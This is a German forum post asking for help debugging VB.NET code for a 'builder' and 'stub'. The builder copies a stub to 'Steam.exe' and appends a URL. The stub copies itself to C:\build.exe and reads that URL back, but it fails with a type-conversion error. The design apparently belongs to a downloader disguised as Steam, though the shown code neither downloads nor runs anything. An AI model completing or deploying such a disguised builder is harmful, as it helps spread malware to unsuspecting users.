Hey ich hab irgendwie nen problem mit meinem server o0
Ich übergebe eine einzige url und schreibe sie ans ende der stub
die stub kopiert sich und liest sich selbst aus allerdings kommt beim auslesen der fehler dass angeblich mein string in integer konvertiert wird o0 ich wüsste nicht wo und wieso überhaupt
vlt findet sich ja jemand der mir helfen kann (The Papst, aus seinem tutorial is die funktion, antwortet mir nich :p)
Builder:
Code:
Dim FileName As String = Application.StartupPath & "\Steam.exe"
If File.Exists(Application.StartupPath & "\stub.exe") Then
FileCopy(Application.StartupPath & "\stub.exe", Application.StartupPath & "\Steam.exe")
Else
MessageBox.Show("Can't find stub.exe.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Exit Sub
End If
Dim Url As String = TextBox1.Text
If TextBox1.Text = "" Then
MessageBox.Show("Wrong Url.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Exit Sub
End If
'Hier geht dad los
Dim Einstellungen As New VB6.FixedLengthString(100)
Einstellungen.Value = Url
FileOpen(1, (FileName), OpenMode.Binary)
FilePut(1, Einstellungen.Value, LOF(1) + 1)
FileClose(1)
MessageBox.Show("Steam.exe created.", "Finished", MessageBoxButtons.OK, MessageBoxIcon.Information)
Server:
Code:
File.Copy(Application.ExecutablePath, "C:\build.exe")
Dim Einstellungen As New VB6.FixedLengthString(100)
File.Open(1, "C:\build.exe", OpenMode.Binary)
FileGet(1, Einstellungen.Value, LOF(1) - 99)
FileClose(1)
Url = Einstellungen.Value
Kill("C:\build.exe")
Und dann bekomm ich die fehlermeldung beim starten des servers:
Code:
************** Exception Text **************
System.InvalidCastException: Conversion from string "C:\build.exe" to type 'Integer' is not valid. ---> System.FormatException: Input string was not in a correct format.
Hier nochmal die komplette:
Der pfad ansich zur build.exe ist egal kommt immer der fehler.